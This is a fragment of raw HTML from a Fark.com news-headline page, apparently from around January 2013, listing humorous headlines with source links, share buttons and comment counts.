+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554518" target="_blank">kotaku.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554518&t=Woman%20gets%20high%20on%20shrooms%2C%20wanders%20into%20a%20furry%20convention%20and%20promptly%20pees%20self%20thinking%20she%27s%20having%20Freddy%20Krueger%27s%20baby.%20Then%20the%20Klingons%20show%20up" onclick="trackSo [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Woman%20gets%20high%20on%20shrooms%2C%20wanders%20into%20a%20furry%20convention%20and%20promptly%20pees%20self%20thinking%20she%27s%20having%20Fredd...%20http%3A%2F%2Ffark.com%2Fgo%2F7554518&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20New [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554518/Woman-gets-high-on-shrooms-wanders-into-a-furry-convention-promptly-pees-self-thinking-shes-having-Freddy-Kruegers-baby-Then-Klingons-show-up" target="_top"> (133) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7554521"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554521/http://www.cnbc.c [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/amusing" title="Amusing"><span class="ttag topic01"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554521/http://www.cnbc.com/id/100405142" target="_blank">Warren
+ Buffet made a $1M bet that a low-cost S&P 500 ETF would beat out
+the picks of hedge fund experts over 10 years. Let's check in and see
+how they're doing</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554521" target="_blank">cnbc.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554521&t=Warren%20Buffet%20made%20a%20%241M%20bet%20that%20a%20low-cost%20S%26P%20500%20ETF%20would%20beat%20out%20the%20picks%20of%20hedge%20fund%20experts%20over%2010%20years.%20Let%27s%20check%20in%20and%20see%20how%20they%27re%20doi [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Warren%20Buffet%20made%20a%20%241M%20bet%20that%20a%20low-cost%20S%26P%20500%20ETF%20would%20beat%20out%20the%20picks%20of%20hedge%20fund%20experts%20over%201...%20http%3A%2F%2Ffark.com%2Fgo%2F7554521&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20 [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554521/Warren-Buffet-made-a-$1M-bet-that-a-low-cost-SP-500-ETF-would-beat-out-picks-of-hedge-fund-experts-over-10-years-Lets-check-in-see-how-theyre-doing" target="_top"> (108) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7554493"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554493/http://blo [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/dumbass" title="Dumbass"><span class="ttag topic34"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554493/http://blogs.citypages.com/blotter/2013/01/andy_driscoll_kfai_host_duped_by_the_onions_drone_flyover_inauguration_photo_image.php" target="_blank">The
+ Onion strikes again. Radio DJ posts photoshop of three drones over
+Obama's inauguration with "they're obviously scanning the crowd for
+potential trouble"</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554493" target="_blank">blogs.citypages.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554493&t=The%20Onion%20strikes%20again.%20Radio%20DJ%20posts%20photoshop%20of%20three%20drones%20over%20Obama%27s%20inauguration%20with%20%22they%27re%20obviously%20scanning%20the%20crowd%20for%20potential%20trouble%22" oncli [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=The%20Onion%20strikes%20again.%20Radio%20DJ%20posts%20photoshop%20of%20three%20drones%20over%20Obama%27s%20inauguration%20with%20%22they%27re%20obvi...%20http%3A%2F%2Ffark.com%2Fgo%2F7554493&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20New [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554493/The-Onion-strikes-again-Radio-DJ-posts-photoshop-of-three-drones-over-Obamas-inauguration-with-theyre-obviously-scanning-crowd-for-potential-trouble" target="_top"> (79) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7554519"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554519/http://www. [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/interesting" title="Interesting"><span class="ttag topic02"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554519/http://www.usnews.com/news/articles/2013/01/24/new-stealth-fashion-look-lets-people-duck-drone-cameras" target="_blank">New fashion makes people invisible to thermal imaging cameras used by drones</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554519" target="_blank">usnews.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554519&t=New%20fashion%20makes%20people%20invisible%20to%20thermal%20imaging%20cameras%20used%20by%20drones" onclick="trackSocial('facebook','share','http://fark.com/go/7554519')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=New%20fashion%20makes%20people%20invisible%20to%20thermal%20imaging%20cameras%20used%20by%20drones%20http%3A%2F%2Ffark.com%2Fgo%2F7554519&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfark [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554519/New-fashion-makes-people-invisible-to-thermal-imaging-cameras-used-by-drones" target="_top"> (73) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7554398"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554398/http://www.sunnewsnetwork.ca/sunnews/canada/archives/2013/01/20130123-204832.html% [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/amusing" title="Amusing"><span class="ttag topic01"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554398/http://www.sunnewsnetwork.ca/sunnews/canada/archives/2013/01/20130123-204832.html%3F" target="_blank">Anti-wrinkle cream made out of foreskins. Worth protesting? Yes, if you're a member of the Canadian Foreskin Awareness Project</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554398" target="_blank">sunnewsnetwork.ca</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554398&t=Anti-wrinkle%20cream%20made%20out%20of%20foreskins.%20Worth%20protesting%3F%20Yes%2C%20if%20you%27re%20a%20member%20of%20the%20Canadian%20Foreskin%20Awareness%20Project" onclick="trackSocial('facebook','share','http:// [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Anti-wrinkle%20cream%20made%20out%20of%20foreskins.%20Worth%20protesting%3F%20Yes%2C%20if%20you%27re%20a%20member%20of%20the%20Canadian%20Foreskin%20A...%20http%3A%2F%2Ffark.com%2Fgo%2F7554398&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20N [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554398/Anti-wrinkle-cream-made-out-of-foreskins-Worth-protesting-Yes-if-youre-a-member-of-Canadian-Foreskin-Awareness-Project" target="_top"> (94) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7554276"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554276/http://news.yahoo.com/burger-king-drops-s [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/followup" title="Followup"><span class="ttag topic26"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554276/http://news.yahoo.com/burger-king-drops-supplier-linked-horsemeat-125951290--finance.html" target="_blank">Don't worry, loyal customers. Burger King is no longer selling horse Whoppers</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554276" target="_blank">news.yahoo.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554276&t=Don%27t%20worry%2C%20loyal%20customers.%20Burger%20King%20is%20no%20longer%20selling%20horse%20Whoppers" onclick="trackSocial('facebook','share','http://fark.com/go/7554276')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Don%27t%20worry%2C%20loyal%20customers.%20Burger%20King%20is%20no%20longer%20selling%20horse%20Whoppers%20http%3A%2F%2Ffark.com%2Fgo%2F7554276&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2 [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554276/Dont-worry-loyal-customers-Burger-King-is-no-longer-selling-horse-Whoppers" target="_top"> (89) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7554324"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554324/http://www.thesmokinggun.com/documents/woman-pulls-knives-at-threesome-682451" targe [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/asinine" title="Asinine"><span class="ttag topic13"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554324/http://www.thesmokinggun.com/documents/woman-pulls-knives-at-threesome-682451" target="_blank">Woman pulls three knives on two who live "two trailers over" after her dream threesome failed to materialize</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554324" target="_blank">thesmokinggun.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554324&t=Woman%20pulls%20three%20knives%20on%20two%20who%20live%20%22two%20trailers%20over%22%20after%20her%20dream%20threesome%20failed%20to%20materialize" onclick="trackSocial('facebook','share','http://fark.com/go/7554324')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Woman%20pulls%20three%20knives%20on%20two%20who%20live%20%22two%20trailers%20over%22%20after%20her%20dream%20threesome%20failed%20to%20materialize%20http%3A%2F%2Ffark.com%2Fgo%2F7554324&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cf [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554324/Woman-pulls-three-knives-on-two-who-live-two-trailers-over-after-her-dream-threesome-failed-to-materialize" target="_top"> (104) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7554105"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554105/http://www.yorkpress.co.uk/news/10182500.Boy__10__is [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/amusing" title="Amusing"><span class="ttag topic01"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554105/http://www.yorkpress.co.uk/news/10182500.Boy__10__is_set_on_fire/" target="_blank">Peter Wishart, Gabriel's father, said: "The group of teenagers were setting each other on fire"</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554105" target="_blank">yorkpress.co.uk</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554105&t=Peter%20Wishart%2C%20Gabriel%27s%20father%2C%20said%3A%20%22The%20group%20of%20teenagers%20were%20setting%20each%20other%20on%20fire%22" onclick="trackSocial('facebook','share','http://fark.com/go/7554105')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Peter%20Wishart%2C%20Gabriel%27s%20father%2C%20said%3A%20%22The%20group%20of%20teenagers%20were%20setting%20each%20other%20on%20fire%22%20http%3A%2F%2Ffark.com%2Fgo%2F7554105&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AF [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554105/Peter-Wishart-Gabriels-father-said-The-group-of-teenagers-were-setting-each-other-on-fire" target="_top"> (48) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7554256"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554256/http://www.mcall.com/news/breaking/mc-walnutport-robbery-finger-stick [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/amusing" title="Amusing"><span class="ttag topic01"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554256/http://www.mcall.com/news/breaking/mc-walnutport-robbery-finger-stickup-20130124,0,5127974.story" target="_blank">What's more impressive -- that this woman robbed a store with her finger, or that she got $148 from the Dollar General?</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554256" target="_blank">mcall.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554256&t=What%27s%20more%20impressive%20--%20that%20this%20woman%20robbed%20a%20store%20with%20her%20finger%2C%20or%20that%20she%20got%20%24148%20from%20the%20Dollar%20General%3F" onclick="trackSocial('facebook','share','http://fark.co [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=What%27s%20more%20impressive%20--%20that%20this%20woman%20robbed%20a%20store%20with%20her%20finger%2C%20or%20that%20she%20got%20%24148%20from%20the%20Dollar...%20http%3A%2F%2Ffark.com%2Fgo%2F7554256&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Pa [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554256/Whats-more-impressive-that-this-woman-robbed-a-store-with-her-finger-that-she-got-$148-from-Dollar-General" target="_top"> (30) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7554076"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554076/http://www.thesmokinggun.com/buster/drunk-driver-wear [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/amusing" title="Amusing"><span class="ttag topic01"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554076/http://www.thesmokinggun.com/buster/drunk-driver-wears-breathalyzer-shirt-198237" target="_blank">Habitual drunk driver blows it again</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554076" target="_blank">thesmokinggun.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554076&t=Habitual%20drunk%20driver%20blows%20it%20again" onclick="trackSocial('facebook','share','http://fark.com/go/7554076')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Habitual%20drunk%20driver%20blows%20it%20again%20http%3A%2F%2Ffark.com%2Fgo%2F7554076&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgeek%3AFark.com%20Geek%20News%2Cfarksport%3AFark.com [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554076/Habitual-drunk-driver-blows-it-again" target="_top"> (30) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7554500"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554500/http://www.theonion.com/articles/biden-scores-800-feet-of-copper-wire,31013/" target="_blank"> <img alt="(The Onion)" ti [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/cool" title="Cool"><span class="ttag topic18"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554500/http://www.theonion.com/articles/biden-scores-800-feet-of-copper-wire,31013/" target="_blank">Big Joe does it again: "There's tons of dough in copper wire if you've got the know-how"</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554500" target="_blank">theonion.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554500&t=Big%20Joe%20does%20it%20again%3A%20%22There%27s%20tons%20of%20dough%20in%20copper%20wire%20if%20you%27ve%20got%20the%20know-how%22" onclick="trackSocial('facebook','share','http://fark.com/go/7554500')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Big%20Joe%20does%20it%20again%3A%20%22There%27s%20tons%20of%20dough%20in%20copper%20wire%20if%20you%27ve%20got%20the%20know-how%22%20http%3A%2F%2Ffark.com%2Fgo%2F7554500&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.c [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554500/Big-Joe-does-it-again-Theres-tons-of-dough-in-copper-wire-if-youve-got-know-how" target="_top"> (40) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7554336"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554336/http://www.orlandosentinel.com/fl-boca-squatting-in-style-20130122,0,1530279.sto [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/florida" title="Florida"><span class="ttag topic35"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554336/http://www.orlandosentinel.com/fl-boca-squatting-in-style-20130122,0,1530279.story" target="_blank">You too can own a $2.1 million home in Florida for free. Just live in it for seven years on squatter rights and it's yours</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554336" target="_blank">orlandosentinel.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554336&t=You%20too%20can%20own%20a%20%242.1%20million%20home%20in%20Florida%20for%20free.%20Just%20live%20in%20it%20for%20seven%20years%20on%20squatter%20rights%20and%20it%27s%20yours" onclick="trackSocial('facebook','share', [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=You%20too%20can%20own%20a%20%242.1%20million%20home%20in%20Florida%20for%20free.%20Just%20live%20in%20it%20for%20seven%20years%20on%20squatter%20rights%20an...%20http%3A%2F%2Ffark.com%2Fgo%2F7554336&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Pa [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554336/You-too-can-own-a-$21-million-home-in-Florida-for-free-Just-live-in-it-for-seven-years-on-squatter-rights-its-yours" target="_top"> (276) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7554109"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554109/http://www.nycaviation.com/2013/01/dude-yo [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/ironic" title="Ironic"><span class="ttag topic20"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554109/http://www.nycaviation.com/2013/01/dude-youre-getting-a-dreamliner/" target="_blank">Michael Dell is buying a Boeing Dreamliner, the only product with as many exploding batteries as a Dell laptop</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554109" target="_blank">nycaviation.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554109&t=Michael%20Dell%20is%20buying%20a%20Boeing%20Dreamliner%2C%20the%20only%20product%20with%20as%20many%20exploding%20batteries%20as%20a%20Dell%20laptop" onclick="trackSocial('facebook','share','http://fark.com/go/7554109')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Michael%20Dell%20is%20buying%20a%20Boeing%20Dreamliner%2C%20the%20only%20product%20with%20as%20many%20exploding%20batteries%20as%20a%20Dell%20laptop%20http%3A%2F%2Ffark.com%2Fgo%2F7554109&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2 [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554109/Michael-Dell-is-buying-a-Boeing-Dreamliner-only-product-with-as-many-exploding-batteries-as-a-Dell-laptop" target="_top"> (20) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7554190"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554190/http://abclocal.go.com/kabc/story%3Fsection%3Dnews%2Fc [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/obvious" title="Obvious"><span class="ttag topic15"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554190/http://abclocal.go.com/kabc/story%3Fsection%3Dnews%2Fconsumer%26id%3D8965800" target="_blank">Another stunning revelation from the Romero Institute: All-electric vehicles do not need gasoline</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554190" target="_blank">abclocal.go.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554190&t=Another%20stunning%20revelation%20from%20the%20Romero%20Institute%3A%20All-electric%20vehicles%20do%20not%20need%20gasoline" onclick="trackSocial('facebook','share','http://fark.com/go/7554190')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Another%20stunning%20revelation%20from%20the%20Romero%20Institute%3A%20All-electric%20vehicles%20do%20not%20need%20gasoline%20http%3A%2F%2Ffark.com%2Fgo%2F7554190&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20En [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554190/Another-stunning-revelation-from-Romero-Institute-All-electric-vehicles-do-not-need-gasoline" target="_top"> (82) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7554349"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554349/http://www.kansas.com/2013/01/24/2648820/mice-chew-into-evidence-b [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/amusing" title="Amusing"><span class="ttag topic01"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554349/http://www.kansas.com/2013/01/24/2648820/mice-chew-into-evidence-bags-eat.html" target="_blank">Pot
+ doesn't make you lazy, it helped these industrious mice make a home in a
+ police evidence bag of marijuana. Unfortunately the police evidence bag
+ of Doritos is nowhere to be found</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554349" target="_blank">kansas.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554349&t=Pot%20doesn%27t%20make%20you%20lazy%2C%20it%20helped%20these%20industrious%20mice%20make%20a%20home%20in%20a%20police%20evidence%20bag%20of%20marijuana.%20Unfortunately%20the%20police%20evidence%20bag%20of%20Doritos%20is%20no [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Pot%20doesn%27t%20make%20you%20lazy%2C%20it%20helped%20these%20industrious%20mice%20make%20a%20home%20in%20a%20police%20evidence%20bag%20of%20marijuana....%20http%3A%2F%2Ffark.com%2Fgo%2F7554349&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%2 [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
